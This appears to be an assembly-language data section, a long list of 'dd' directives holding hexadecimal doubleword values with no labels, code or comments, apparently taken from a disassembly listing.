dd 0B00070DBh, 41A4E918h, 3687C98Ch, 0D80CBDBBh, 9CE1C5D5h
dd 0F7C6D805h, 0A3372817h, 0F1377FBAh, 342521Bh, 0D0C65FF3h
dd 9191E1F0h, 40D656B7h, 15B19A0Ch, 765DA1CAh, 333880D9h
dd 12FBFF72h, 0A1E787CCh, 9ADE4E60h, 0EB948E74h, 4AFEA2E7h
dd 0F037D735h, 0C7603E7Ch, 7B5AB6B7h, 10EFBC81h, 0D088EA1Eh
dd 0A71F5763h, 25061787h, 7415F32Ch, 0C7B775D4h, 0C02210AEh
dd 0B7A69C66h, 88AD5A44h, 4FEA6599h, 0AB00AAE0h, 24F3BA95h
dd 770DC059h, 0E4C0893Fh, 41244404h, 0BFF240FCh, 575E3ACFh
dd 0D834EAC6h, 860E8AB2h, 0CDED7DF2h, 7285FAF5h, 6ED62C7h
dd 6EC8E3Eh, 61594E33h, 0AB14B10Ch, 0D7AAD56Ah, 9A91DC20h
dd 0D1789F9Dh, 78E76FE3h, 5F322C65h, 0CFF80166h, 2C5606D5h
dd 8E67A4BBh, 945B1EC8h, 4DC417FBh, 0D7FBBABDh, 7921523Dh
dd 70FECBD8h, 9925433Ch, 41F453E6h, 1D5ACC7Eh, 5D2245ACh
dd 38E04CBBh, 0C50E76BAh, 5406C58h, 88EC5EA0h, 0D023249h
dd 90076540h, 0CF7021A0h, 1F16DFF9h, 56179E04h, 0BC3125D3h
dd 810DD5ABh, 0DC7AE430h, 5DA446A7h, 752FB754h, 50FB5AC2h
dd 326B3454h, 3F40C842h, 0D3F2A367h, 7ED2645Ah, 5DE60C4Eh
dd 4887AE94h, 5E14E6BAh, 545B4E19h, 5DFFB9FDh, 0CC34392Ch
dd 0A964947Fh, 0F6613E6Ch, 0AC277FEFh, 0B42F6F46h, 0BFAEA4D3h
dd 0D743431Bh, 41249169h, 3CFC7299h, 0D5EFCA23h, 0D275C6E0h
dd 0A45B4E07h, 0F208C63Eh, 1DD4A807h, 1711C4C8h, 0A686527Ah
dd 9791BDEFh, 0AE70BB49h, 0C88A4A31h, 85A6CF74h, 0F59BA7CBh
dd 80FE34C5h, 0AA00E69h, 0D04B8C7Fh, 0CB329D4Eh, 0C7268245h
dd 7AD35B45h, 1915E8FBh, 9602F640h, 0A5E6215Ch, 450C2F5Ch
dd 0DB32F4A2h, 0A0E77A98h, 0D103FD7Ch, 7AA30922h, 53E6D78h
dd 0FDA60174h, 6A238FACh, 95E83Fh, 8C8CE024h, 76E23B33h
dd 0FC653AA4h, 2166BAB1h, 0C5DC4BC0h, 76D39C23h, 0A4F8F21Eh
dd 0F52F68E5h, 8F4FFC0Dh, 0BB0CC6E6h, 5436CC47h, 87720C6Fh
dd 0FCFCC0B3h, 5CDF3979h, 44462B4h, 0C816C645h, 7CF51CD0h
dd 46399489h, 4A092FB5h, 9DC8B5C1h, 0B2E012B6h, 7A8F019Ah
dd 55387C3Eh, 7ADC7956h, 9FC57B8Dh, 827467B4h, 0F54DB5CEh
dd 4121B8A9h, 0CB9F0ADFh, 0D2B1C760h, 63BEED81h, 0E40C97BAh
dd 1631F0F2h, 0FBD291CBh, 1EB16B9Fh, 0FA447E66h, 426C483Ah
dd 0C3C3598Dh, 606397BBh, 59F28535h, 0E71E70F9h, 4E5D4838h
dd 347F90E9h, 121AAF8Ch, 2A968FDh, 0A184B866h, 0BB8D431Ah
dd 1243ADE1h, 9F8EE691h, 0B935D96h, 4CEAB499h, 0A5B93AADh
dd 6DD81EA7h, 3E6E1753h
dd 0FC478B42h, 0A68B364Bh, 166850E4h, 2177B7A7h, 6A6EB8D8h
dd 0C341C4B2h, 18AD8747h, 92FE3EDDh, 0F9A63731h, 6F453B8h
dd 0FC029416h, 8FA43FD3h, 89DCC769h, 2B6EA172h, 297A7057h
dd 0E7D929ABh, 7A51F235h, 5F9FC562h, 74C92ECCh, 84979731h
dd 94C9D3A4h, 7B1D1919h, 0B30BA38Fh, 9096CEE4h, 0C8AEE2F6h
dd 0FB866CD0h, 0BD962D89h, 83F24BB3h, 0B4B6CCE1h, 0EB32C7CAh
dd 0A4FB2798h, 7CC9CD06h, 91FC2469h, 9E92338Eh, 0AD761135h
dd 131FCCCBh, 7868303h, 873E4766h, 0CDE409DBh, 0E0102E4h
dd 20B9261Ah, 0EE0C946h, 0F8A1EECFh, 80B7D1E4h, 0E25EEE7Dh
dd 8B8F9DC5h, 49AD2FE8h, 520178F5h, 0B3951FA3h, 0A266B021h
dd 9E9CA3DBh, 0C433EEA1h, 88CBE7Fh, 0FA2BC35Ch, 90F16C2Bh
dd 37C4C005h, 8DEFB47Bh, 1F873D1Ch, 48E94A01h, 0B21933DFh
dd 6B485EB0h, 39244C9Ah, 0C23FAF79h, 873955A5h, 0CE83B90Ah
dd 6B5A3D4Fh, 2EC9ECC5h, 4A2CC132h, 0BCF5FDFh, 98E2E591h
dd 7920DBDDh, 97D26C87h, 86A2CB23h, 0A856136Ch, 2A174A53h
dd 11663B79h, 0E8537237h, 377A15BCh, 3B98A22Bh, 8766CF3Fh
dd 0E22F585Dh, 518CF00Ah, 0F524AF4Bh, 4A6F5EBEh, 352AD362h
dd 0BC4B5830h, 0DDC6453Eh, 0BD74CE1Fh, 5DAB2D00h, 0B801CF1h
dd 0D7644409h, 909F0D58h, 0DD3B57A6h, 20D511C4h, 3CA169BCh
dd 0BC0C0419h, 5C3BCEF4h, 9E973BEAh, 37E71E77h, 8EFAA982h
dd 28F40C1Bh, 0C4206615h, 3F58653Ah, 529DEA2Eh, 0BCD36832h
dd 0F0EFD7B0h, 6E770261h, 3857C052h, 0E558E8BDh, 362646B5h
dd 0EA6481CDh, 0ED9C0087h, 64B69FF6h, 0D32321Fh, 0C35FA75Bh
dd 0AA99B86h, 8D2CB07Fh, 88ADD311h, 790DADAh, 5DE29AF3h
dd 5B230030h, 3E316225h, 66B046B4h, 29BCD44Fh, 266B20Dh
dd 0E5EC9397h, 3B239E19h, 76174FF1h, 0CEB9F043h, 2FF4700Bh
dd 93D23B88h, 91F399D3h, 931BDEh, 697339D2h, 0CD7FDAAFh
dd 2CE8D4A1h, 89B301DFh, 0C7E25267h, 0F73E0F36h, 2F323ADFh
dd 9F7E2302h, 1163B53Fh, 98593652h, 0F767C641h, 0C6E06CA4h
dd 43196AF9h, 0AD59D50h, 7AD4AFDEh, 55CA525Bh, 0CF88E566h
dd 8F4AB5A8h, 0E6E1DD6Ah, 3A58D0DFh, 0A97B332Eh, 0F41E4C9Bh
dd 3AC89814h, 0CBB3A1BEh, 56D437B6h, 157DB1B1h, 2825EC4Dh
dd 0DBFC7953h, 8E77069Bh, 9E8D58C5h, 6A62DEFDh, 338BF348h
dd 41401F26h, 0EE05345Ch, 0D8CF07C6h, 904E554h, 0D0E25ABDh
dd 0F052D8D7h, 0AA036EC6h, 0C108F4B0h, 5A3DEA05h, 0C1E9AD45h
dd 1AC73651h, 0AA26DC66h, 9A77A6E7h, 1914135Ah, 0CDC28C42h
dd 5C3672F5h, 878C9835h, 1445E73Eh, 0AE7644DEh, 2B09D3F9h
dd 3A80D84Eh, 0CA3ADBACh, 0CB9A3E42h, 19640764h, 8A81308Eh
dd 3788884Fh, 0B121BD0Dh, 8043A3CDh, 9CDE387Dh, 267E0FAh
dd 6C49C105h, 0DED5B742h, 0DAD55E7Eh, 47FA6508h, 0BAF31991h
dd 0A47C7EA3h, 1CD355A3h, 59106D23h, 69D37B92h, 3713EB2h
dd 6B108085h, 0B28C7C25h, 26AF002Ah, 0D80A00AEh, 16625BE9h
dd 27EC52A0h, 0F1A807AEh, 0F023457Fh, 23C68F6Ah, 38DFA065h
dd 93A5F2B2h, 0D1E32357h, 0DCFD59E9h, 6385263Eh, 0AD0AED4Dh
dd 7170BADEh, 5113F8F6h, 840447D6h, 82B526F8h, 4455C361h
dd 0B6004446h, 0DEFEB8DEh, 70597067h, 5D88CAB5h, 6EB3C51Dh
dd 0D676AA6Ah, 0CC664DA9h, 0CA0D4929h, 0DA84C78h, 7893C332h
dd 0AE0BE9EFh, 219AC7FCh, 0C19E6C29h, 658D736Dh, 9F3A35F4h
dd 0C083FECh, 0AB576561h, 5C02E4ACh, 0F075E05Dh, 1BC0ACB8h
dd 888CC365h, 485A21FDh, 5C4FC08Fh, 59FDA1A3h, 7C13F0E5h
dd 0E3FC723Fh, 0E133DB41h, 9A8CCA70h, 0F9C69988h, 0A3A18A9Dh
dd 87AE4E02h, 681A4A4Eh, 0C4E466F6h, 9531DF11h, 62C9B639h
dd 0AF4B4984h, 1B209CF5h, 5983B85Bh, 3E7968F2h, 35E60072h
dd 0F212790h, 0BD1086C8h, 0FC55E39Bh, 0D0861C0Dh, 1DD32C77h
dd 1B750BD6h, 30E47E2Bh, 3B646ACCh, 9C3DB12Eh, 0F4E45913h
dd 5F915B2Eh, 0A2462211h, 37FCC84h, 2E94A779h, 0DF02A204h
dd 0DFA41CF6h, 341F1277h, 9951727Eh, 9B19F038h, 0A1017CDAh
dd 214C5121h, 2CAB4821h, 0BE4CCCAEh, 2C022942h, 76A41A3h
dd 0E4BE6C3h, 2B340DB4h, 0DB23DCD7h, 3F31CE9Bh, 0E91213C9h
dd 6DD46D31h, 54BE5EF8h, 9BAA792Eh, 9F5D6799h, 942760B4h
dd 4EB3CE86h, 438054DDh, 0FA412A13h, 2125B705h, 88E4ECDh
dd 0FD1D3358h, 59EFEBC9h, 1A00B4E2h, 0AD642D55h, 45F06758h
dd 6BF61A57h, 0B3E4D8E1h, 81FD4390h, 0BC1DA75h, 1D9FB7E1h
dd 0AF4C60D9h, 0DEA3301h, 1F805634h, 62633291h, 85145011h
dd 0A0DF5253h, 1B2A6EB6h, 970C0A81h, 0CB28B702h, 8B2F09FDh
dd 86023CD0h, 1FBE80E0h, 7F9CA433h, 0BF73AEDBh, 88684B15h
dd 0F1F8F82Dh, 43975C44h, 6918A907h, 678A2EEDh, 0B5517EFh
dd 0F35A9C22h, 2AABE8C8h, 0D639BB66h, 6AF1137Ah, 0FCB6DECCh
dd 805E86B4h, 0A413C7ADh, 0CA4F0A63h, 0CBDEE572h, 0C333D67Fh
dd 33CB0343h, 0C7F07DDh, 0E0835A04h, 819B2D6Eh, 3B0B1B8h
dd 0BA12DF09h, 3457FAD6h, 0A450FE88h, 451485BDh, 26CECC9Eh
dd 1661759Ch, 504DECDh, 59F76D7Bh, 8F2CA78h, 0CC18F99Ah
dd 8B8FF020h, 3F8FB9CAh, 1D603C63h, 6B97AE81h, 0A8F2AA2Eh
dd 0AB16C764h, 3E7B0686h, 5B532046h, 91D3A8D2h, 98A254EFh
dd 93CB30CDh, 2C1F43C5h, 0FC1C1571h, 0BD55CD1Eh, 0BC45C055h
dd 873407EBh, 1C438794h, 0F2916774h, 32527942h, 0A02D1B3Fh
dd 5E4C9A40h, 0DF084B0Dh, 621E60F3h, 387BD7BFh, 146C6478h
dd 0AC23FC73h, 5B32D182h, 0E9EB4021h, 0D5CD6764h, 5C774967h
dd 7539862Dh, 0D3D73A0Eh, 0C0EAF971h, 328D413Fh, 0DA691178h
dd 0A9A231D7h, 4D779ED4h, 29FCF11Ch, 87306F54h, 716376Ch
dd 0BAEB5A1Fh, 0A5D9DC7Fh, 0B7F7AD39h, 7B2117A8h, 6BB9E5D1h
dd 4725D78Eh, 13BCAB7Ah, 0CDA415A7h, 55F8F823h, 9C4FFB4Ch
dd 69FB3E4Bh, 80CF2D1Ch, 3821F375h, 49B811B3h, 0A0D6DD32h
dd 5B949A53h, 4D620FF9h, 0D679AB3Bh, 2E7F02C5h, 0E3A81201h
dd 1E6EEDD6h, 0AFD6AD07h, 0C4ACC6BAh, 5919FC40h, 0E632149Dh
dd 0F521005Dh, 74925D57h, 0B0852D0Ch, 0DCF19AB5h, 0AD14E119h
dd 0F3D241Fh, 1E5DCA6Dh, 9FDDA14h, 0FB5D42A0h, 0CF9D1195h
dd 0C019F5A3h, 0D1F045B3h, 2C253B5Bh, 92816BDAh, 353A34A1h
dd 9CDC208Fh, 0CF794F3Bh, 2683C615h, 46852C87h, 1F818E38h
dd 478807F5h, 0F80DB144h, 0FFEB39A8h, 1F2FC8B7h, 484FE714h
dd 75D41669h, 4A39A159h, 269BE8C8h, 0FB4BC930h, 0A9B51EE2h
dd 5D040DB2h, 0EB65515Bh, 0A3BBED46h, 0CA5388CAh, 6437ACA5h
dd 669852F1h, 5347A63Ch, 907111E1h, 4B70ADFAh, 0FC86B10Eh
dd 310B5D3Dh, 945318AFh, 2D9BEA4Fh, 4E89629h, 0F258BCF3h
dd 8BF6E58Ah, 762BDAEFh, 0BAB4CAA2h, 2B54D3E6h, 31D840A0h
dd 0DA6E6B5Bh, 0F3F6D5B3h, 1F292438h, 19917A85h, 0C6D28E60h
dd 1FD87CA1h, 99CD46DCh, 8B26BCE6h, 24B12F69h, 51185DC2h
dd 6468BB5Ah, 0B5C46D44h, 0F671E663h, 71FE105h, 3F1D4057h
dd 5156024Bh, 0A873416Ch, 8BA2687Dh, 0C975B122h, 0BC355F0Dh
dd 0CFA154A3h, 0AF2AFEE6h, 5B48E30Dh, 0FC59247Eh, 8E757831h
dd 77A8B328h, 0CC39785h, 81AF2189h, 0BFC01A2Fh, 64140246h
dd 3DEA4CD9h, 0CB1A3960h, 9FF08145h, 2090F82h, 98BADDCBh
dd 146C280Ch, 34BC1A3h
dd 3CB05CA3h, 3DAF4C8Ch, 0DF79A5A6h, 8EBBFF0Ah, 0B8761CC4h
dd 6BB943F2h, 955577E4h, 0DB796A7Dh, 7139031Eh, 0A2B6C62h
dd 789A791Eh, 3DA3B1B5h, 23431484h, 0D7888F22h, 31102AF7h
dd 67A9573Dh, 0BA717086h, 3B5431CEh, 2BA0247Ch, 605CE2A0h
dd 2802508Ah, 0F9D98398h, 73B51D92h, 0A7C23651h, 2D06E9CAh
dd 895DF333h, 58E8C9F4h, 2BA98152h, 1AE6F8A6h, 0BEBE0CBCh
dd 5EA6EDF5h, 9E413BCAh, 2707A9Ah, 0F35DB259h, 8BD8450Ch
dd 0AD7486D7h, 7CE34A1h, 41432B7h, 0F09A7D59h, 39261FA8h
dd 0E94F1D67h, 8438E998h, 56EE5B4Ah, 0D8BE19D2h, 921D92D8h
dd 0A5B9DE26h, 3BCFD412h, 0E2E37FB5h, 0AFD6A308h, 0F881A4F3h
dd 0D38C75Bh, 0C63755AEh, 1E39C367h, 0D3DD96C9h, 0F1EAE357h
dd 77A691C7h, 943DF620h, 660683CAh, 733C8406h, 93427C87h
dd 45A2D572h, 0F6F39D9Eh, 42DEB5E0h, 0D5DE0879h, 7A712952h
dd 19CFB8EFh, 24EECC78h, 0F8620055h, 6E9FC69Fh, 0EE3E1F43h
dd 88C2684Ah, 2A19B606h, 8560C8CDh, 568C3746h, 86BCFCFCh
dd 0F65D8D68h, 836B7504h, 0EEAEE874h, 794BD948h, 369826CAh
dd 0B02F4943h, 0D6F687B4h, 28B8415Ch, 75F29CEEh, 0C5066242h
dd 386DBBA5h, 6274B976h, 0F44C177Fh, 0E07EFEB1h, 921B11B6h
dd 0E3A1D8BAh, 8B740D14h, 199B6064h, 0B3A65B37h, 48816173h
dd 9FBFE51h, 9D83C03Dh, 61CD3962h, 0A52EE5D3h, 0DD11B931h
dd 0E40BF993h, 0BFB59BDAh, 75C0F219h, 21D3BA69h, 0BA6473BEh
dd 2118F616h, 0F069DA60h, 0C5B6825Ah, 0A5A5E9D0h, 83EBF5F6h
dd 68DE326Fh, 8CBB9134h, 0EECAA9ECh, 0AFEE054Dh, 0E98A32B7h
dd 6FEAF7BBh, 0EFF50543h, 60702973h, 423A6CD7h, 2EDCE2CFh
dd 0E3F40D31h, 0B995D6D4h, 14EE4C13h, 0A1053E51h, 5094F958h
dd 0DF9DE300h, 2A985352h, 0B9F96732h, 0B54B6407h, 60423C1h
dd 0B5E923CBh, 375FDD0Ch, 11CD3CD2h, 0C2E7FE2Eh, 9F0EB3D0h
dd 5E7A496Fh, 3A793EEEh, 47331149h, 1A5800h, 0C45961E9h
dd 0B2468634h, 13428863h, 4761E29h, 79B8620Ah, 603C4D44h
dd 30A4CB1Fh, 0A471FCEAh, 1C4ADA0Dh, 324ADBFFh, 56959230h
dd 0D5BB68ADh, 57056AA4h, 81C394B6h, 0CCAB320Dh, 0B126A811h
dd 3E5A3293h, 7D17B3D7h, 2FAE1298h, 1A650426h, 5EAB3544h
dd 13113F25h, 17A32E27h, 0DB2C416Bh, 0C1B7E11Ah, 0B09B698Bh
dd 3890E7D9h, 0E4C4AD39h, 7EB8AAC5h, 2B7BC9EDh, 0A89A83B0h
dd 0F281CA21h, 8B27135Eh, 6C67C61Eh, 0CD9242E0h, 0B6B1BECFh
dd 9A7C7848h, 0B5BE644Bh, 2EA28F7Fh, 702D0A22h, 93FBC27Fh
dd 0D10E3530h, 396A709Ah, 0E9316A1Dh, 0CEF04888h, 14DE6433h
dd 9BC6C273h, 0F367ADA1h, 340438B6h, 0C7DE457Eh, 27F97758h
dd 339FECE5h, 0F84385D8h, 7740027Eh, 8630C588h, 356261A8h
dd 0EC1B590Ch, 0AB649D6Dh, 0BA60CA0Eh, 385C7D9Fh, 42BFEFA2h
dd 0AE86768Dh, 0C546DAF3h, 60052859h, 6CB13EF0h, 0F4F4939Eh
dd 0FA47EF57h, 1746D95Eh, 32445076h, 0A860E6B8h, 85D79240h
dd 20DF27D1h, 0C5045A8Bh, 14FAD10Ah, 266E49E1h, 1E14856h
dd 18EA07C2h, 0A4214471h, 0E092DC8Ch, 8D9790DBh, 0B19E8C4Ah
dd 0D190E63Ah, 86721440h, 1850AA41h, 5497C9AAh, 0E7C59F01h
dd 6235A559h, 76547FB1h, 9473C005h, 8A4CFC43h, 0AF7D41B6h
dd 453D8EA1h, 2D230038h, 57C3FF48h, 0A690B083h, 248EBB9Dh
dd 98744DB5h, 0C17EF3C1h, 17F9D76h, 0A415FDFFh, 11E0D971h
dd 2D447DAFh, 5F635244h, 0CB229984h, 0C99756A6h, 17BAEFB3h
dd 41D10DB1h, 5D5B3C55h, 2F83129Fh, 0D80189FEh, 0C388A5DDh
dd 0C7D46BF2h, 0CC2D6995h, 5ABB3374h, 13B36D9Ah, 0B70C1CDCh
dd 0FDBB4F98h, 267E1ADFh, 95343039h, 6F49EBA6h, 57D165BDh
dd 0FEE784E2h, 0CAA7629Eh, 72F58DA1h, 0D0CB473Fh, 0CB176FE5h
dd 9B89DC71h, 7953C703h, 168E3348h, 4DC290D7h, 0FEE3C5A5h
dd 62264B11h, 578B47C8h, 0B5CD18E1h, 0FCC32149h, 712E2058h
dd 47294F95h, 64F3F1B2h, 615A00A1h, 162A5D7Eh, 610E59EBh
dd 0B1395AF6h, 5843C6BBh, 39DD7DEBh, 11A3E85Eh, 47C560F5h
dd 0E40DEEEEh, 8C8A89D8h, 0D7146653h, 0DFD67C93h, 8B529E04h
dd 0FD23E11Bh, 404A8C52h, 40A5B9FBh, 1599757Fh, 0AACC1404h
dd 72A18949h, 83765E21h, 0BF52D6CCh, 0A35C7892h, 176C6552h
dd 91AFB27Ch, 0B42148A3h, 1B50794Eh, 2F65F0ABh, 44AAC008h
dd 0AB732017h, 51B883F4h, 0E385E68Eh, 0EF691DB6h, 0A2B7BB8Ah
dd 57A916EBh, 640EEF72h, 4ADADADAh, 85DEEB16h, 925A0C89h
dd 0F5C050CAh, 9167CC00h, 830B21D2h, 3C2AF542h, 0F25CAC70h
dd 2CD8569Bh, 0E83DC215h, 1A3362ECh, 6A6A11B1h, 9E7BC198h
dd 0C4577DE4h, 400A1DACh, 4BB3F1BAh, 0A04B2742h, 0D03C06F7h
dd 2BDCCA98h, 9153DA8h, 0A3AD065Bh, 5B897EC2h, 0A5DFA98Eh
dd 3275F1B4h, 0B281A5AAh, 0E42F2277h, 0DDF2F185h, 9ADB4611h
dd 384D2973h, 0F78E932Eh, 0F625BDC8h, 9DDCE845h, 96C22E57h
dd 0D411C618h, 0B2441826h, 2CA43A0Ch, 5D2844C4h, 4A2F515Fh
dd 8ADD476Dh, 0D406366h, 1C111503h, 78AF7E32h, 84BFCD0h
dd 0EF485500h, 558A7077h, 0A0E6FD45h, 0CAAA5108h, 41D26743h
dd 0DB53FE75h, 1A0F1A6Bh, 0F613CEF2h, 0DEE34A04h, 2BD7B206h
dd 0AE4DE7F9h, 8998C6D6h, 43C1CBD7h, 0BC190D26h, 102974A7h
dd 3048EE4Fh, 767A61F8h, 6C2B3590h, 0B9CE3676h, 0EA53757Ch
dd 82B8B368h, 5B6F8750h, 0F750BC72h, 8AD139FBh, 0A2D3D821h
dd 7FA467C8h, 3ED63579h, 6E2C10CBh, 0A20D7BFBh, 45E81AC5h
dd 449AD585h, 61833D47h, 0DC2778FFh, 7FF948D9h, 9CA2E898h
dd 90A703F9h, 82EA18BCh, 324E5CBh, 0E9826631h, 0A5D4E273h
dd 0FF3CFF5Ch, 8B9AF1Ch, 0FD74408Ah, 7B8775ECh, 94632DB4h
dd 0AE27D928h, 0CA2F33F1h, 3CCCE704h, 76FD8B6Eh, 269B2818h
dd 0D2DA2D60h, 87EE2241h, 9CEAD4C6h, 607B12A4h, 0FF79B118h
dd 1D2BFA58h, 0F76DA0D9h, 0E76C9462h, 0A0ECF4AAh, 6C56192Ch
dd 0A98E5ED1h, 0CDAF8F68h, 8CCAB81Eh, 24BE272Bh, 13E094ABh
dd 984C96E6h, 959D84Ch, 1C7AEFFCh, 9D3E3FFDh, 86F18541h
dd 1C6AFE2Fh, 0BECDA022h, 4CA47DE8h, 1470FAC3h, 668E9E26h
dd 1BD665C6h, 77FFA957h, 5803E670h, 9842069Bh, 4CAAB520h
dd 4731546Fh, 0CAD708FEh, 0F58191EFh, 4F53A9C4h, 2D856145h
dd 7059C7ECh, 94D7A76Ch, 0D52DA158h, 937317FDh, 0D1C83330h
dd 3249F7F9h, 7D944414h, 9613B74Ch, 0E45A515Fh, 86C68FF7h
dd 1A3B3010h, 4BF0EB76h, 0B1C1AA55h, 0F7E61767h, 57F68CC2h
dd 2BF736B2h, 573116FBh, 0A03EACC6h, 330A5F30h, 46B52FCCh
dd 6D3D0DB6h, 9B7E31BCh, 89723113h, 4F353FFFh, 5086E78Ah
dd 1A2365D7h, 3AD8623Dh, 7C1E6593h, 0EFF56A41h, 6B9D47B4h
dd 278F4B97h, 0B190A053h, 3A89C70Ch, 5815A427h, 722F6B40h
dd 3AB4DD68h, 557E1EC3h, 0B2DF4220h, 89D6D61Ah, 0C5F6839Ch
dd 0E464B70Bh, 437F966Ah, 0FB9F4786h, 296109BFh, 9CF25A09h
dd 9CE2668h, 4F84158h, 81565792h, 3A8314BFh, 0A3D499BDh
dd 6D3EC232h, 58874243h, 8C1639D8h, 5BB7BA4Ah, 0F1A4B26Dh
dd 0ED219044h, 87D68E23h, 698975A6h, 7CF5410Ah, 230CCEF8h
dd 0F7435E4h, 0C6ECE33Ah, 19750834h, 0B4114947h, 0A67D134Eh
dd 0FB4FC840h, 9E9A0F18h, 9FE18F9Bh, 0D1981CB9h, 7871FC72h
dd 73D715A8h, 67CE14AFh
dd 8AA21B14h, 887011F1h, 0E03A7737h, 0FF05B279h, 0D1147399h
dd 4330E1EFh, 538364BFh, 7BDA7458h, 0B4EDAA92h, 0CEEC55D6h
dd 5EC2EB3Ch, 0DCDD386h, 662E54CBh, 5C2CFDEBh, 8E7871E3h
dd 90435CBAh, 7C67736Fh, 0D62FC5DCh, 8236F701h, 2B6A4400h
dd 635D0B7Fh, 0A220C6CEh, 956358F4h, 9B19D113h, 6AD26897h
dd 7781EE41h, 2443C2DBh, 0AD0FC58Eh, 0F4CA9A9Fh, 9492DAE6h
dd 0BDF9456Fh, 0C23DDDEDh, 2A46C364h, 20A25036h, 0E8BF5CC8h
dd 803F3AC5h, 52F3CD4Ch, 0A4EF0B3Ah, 0B4DF30EEh, 0C0FF5139h
dd 33BD2CCFh, 41CFF25Ah, 9B3D2A1Fh, 4F342EAAh, 73DED553h
dd 0A73D1038h, 0B257A870h, 2857041Eh, 97F931A0h, 0FF2C378h
dd 691E1E1Eh, 5BDC1EBDh, 0B2E556C4h, 8CE2BF7Eh, 0F71E4E09h
dd 0AF7ECA8Bh, 1514A020h, 595AE9Ah, 0F5BDAE02h, 565407DAh
dd 16C00D5Fh, 8370D700h, 0DC286145h, 0EB547274h, 5CA71C34h
dd 74D45F5Eh, 0E36E8A93h, 0BBCC0905h, 451F5FE6h, 6A80973Dh
dd 6CD93389h, 0B4ACB15Fh, 0E0EC8BFAh, 0CDCCC39Eh, 0FBBEF15Dh
dd 0E00DB166h, 0B213853h, 0CA19A838h, 4786AB26h, 815ABD71h
dd 9649B0C9h, 573F8CD9h, 98FBDDB7h, 0B6FBB63Ah, 4EA9A7Ah
dd 0FCD68A5Bh, 1A201042h, 3E71802Fh, 7FF2C647h, 51601F38h
dd 6BB9DD18h, 3074E146h, 0BB3D1871h, 93BBE4DBh, 144F3A13h
dd 0AD480B90h, 0E2B21939h, 2B0ECDEFh, 0E5835AB4h, 0C143BB96h
dd 0E08B2074h, 0CD6ACD3h, 0C62364E3h, 2560254Dh, 9EDB59BBh
dd 0EA3996Eh, 896A6792h, 2E471B5Ch, 485938DAh, 0ACA9B226h
dd 5F443B7Ch, 3BFD2D46h, 0E310273Bh, 1EB1DEDBh, 5653908Ah
dd 0AFE9B041h, 5F2D649Eh, 271FD38Eh, 5B9E4BAh, 0EE1C18DDh
dd 85B15D99h, 0A99A1273h, 0D5BB6E22h, 0C1A99670h, 0A8529A1Ch
dd 0CADB12CCh, 0FE93A5C1h, 0DF89BD7Dh, 8F7AA768h, 3AD6D639h
dd 0A427B51Fh, 0A6F58F4Bh, 4E594BAFh, 6E72FD02h, 78FD12DFh
dd 0C79ED42Ah, 0B27DD64Bh, 0A093DCCBh, 6ECD48FBh, 0FAF0372h
dd 265A1E23h, 8C4C391Ch, 83E3CC1Bh, 12D2443Ah, 5682B907h
dd 91E3A93Ch, 0C4B742E1h, 0D476D5F1h, 41E4C036h, 0C85B57F1h
dd 0E1F0A2Eh, 0A760B9B3h, 869704D5h, 38C4FCB5h, 0FCA3F362h
dd 0C21F139Fh, 0F4539124h, 203AD559h, 50D05DDEh, 57D9E901h
dd 142888D2h, 74961E66h, 0E347A4B3h, 0E63C78BDh, 0BF843E76h
dd 0C22EFC84h, 80F739BBh, 0D914AF3Fh, 9FD96037h, 0DBF7ACDDh
dd 0A1E08971h, 6C91273h, 0A02EF632h, 19A415F4h, 81B5E20Dh
dd 34C9F49Eh, 0D82E61DAh, 0D76D6A11h, 0B2679466h, 15DDB03Bh
dd 7A98E38Dh, 5294AF1Ah, 17155BF7h, 6FE3F124h, 9A518EC5h
dd 0CD6E2916h, 726FF821h, 76A0E12Fh, 0DFE6ECA1h, 9EB6D7F0h
dd 4D2934ADh, 893785F3h, 0B567892Eh, 0F63C35B3h, 9F5E8B6Bh
dd 5E10BEF3h, 4E9F5106h, 0FD066CB5h, 0B30DCCC0h, 0D07C6873h
dd 4BE626C8h, 8B5599D1h, 78A33ADDh, 33860433h, 0FBA7C8A2h
dd 0EB3FA5F1h, 518BF0F1h, 576F51BAh, 0CB514E81h, 0E1281277h
dd 0DAC187B2h, 0D318CB37h, 0B47A849Ch, 21E6B8Ah, 3E43ADDAh
dd 4099C9EFh, 76059ED8h, 0F99574E9h, 9F11748Eh, 48257248h
dd 6FA403EFh, 3CBB2C4Fh, 16BF46CBh, 0D8358C07h, 92A31CC8h
dd 7C9908CBh, 0A84FD1E3h, 431E4934h, 0BBB6A737h, 509013C6h
dd 3775553Fh, 0C15F09D2h, 649EA566h, 9A7EC4ACh, 74F6D1F9h
dd 0B1FA6777h, 0C8230BCBh, 2E9E20B5h, 293B2C0Eh, 0A908CAA8h
dd 2C0E973Eh, 0EA552905h, 43C38136h, 61F09B9Ch, 2F87963Bh
dd 0DB171771h, 85B4E4FDh, 0A2553E9Ah, 0AF57D7F1h, 49C75733h
dd 86CB0E49h, 0EF399D6Ah, 0EFF53A81h, 8308E3E5h, 9F58A0ECh
dd 0F787E2ECh, 489C6913h, 2964DC90h, 0F2D72F05h, 0C97AAC28h
dd 11951D20h, 0CD0F2DDCh, 0DF694983h, 54D779C6h, 77AF984Eh
dd 6D777180h, 0C29EB85Dh, 0A4F0B235h, 0A8D593EEh, 99F71FB3h
dd 69C88558h, 3EB3F414h, 49DF6ED0h, 0EFDBE341h, 0B1297108h
dd 0EA63F802h, 0CBF4A8C8h, 0EBB5B392h, 0A9AAA556h, 0E3B1E610h
dd 2ED4837Eh, 3C8654C6h, 53A0C895h, 151F93A8h, 449B1EC4h
dd 0CE7D62EFh, 68B186E0h, 0C0EB71D8h, 0F55E211Bh, 8636B7EEh
dd 0DF86CC65h, 0B9537634h, 0DE273875h, 2C52A290h, 0E08C8D3Fh
dd 0A02B6DDFh, 32C95452h, 0DA3F1BFDh, 3D3BA16h, 0ACFB92C7h
dd 3E9E0ED2h, 0D90A97DBh, 0F8969015h, 86D38545h, 2C7A2DBAh
dd 3483F51Eh, 295E8AF9h, 4668E927h, 27DF02A6h, 0C720E961h
dd 1F0632FCh, 87BD81C5h, 658F4C32h, 0FBC8D9DBh, 0DCDED9F6h
dd 0DE4C0B75h, 696D3435h, 0B7C1578Fh, 842F3356h, 0A55F2741h
dd 0BAE6BC29h, 70667CCEh, 0FA092F2h, 0B249EEE7h, 0C2DD4D24h
dd 1BF89820h, 9B7F9426h, 0D84CF6BEh, 0BD56C490h, 0A66354FDh
dd 0A9C41F53h, 486E0E01h, 0C18CA9D0h, 814351F2h, 16AB9399h
dd 5B29FDE1h, 12876A05h, 0F4D832B8h, 5AEC8E35h, 0CE2495EBh
dd 0FA4A3E7Dh, 41F00BA9h, 0FC005F58h, 0AEDDC2EEh, 123C1DEEh
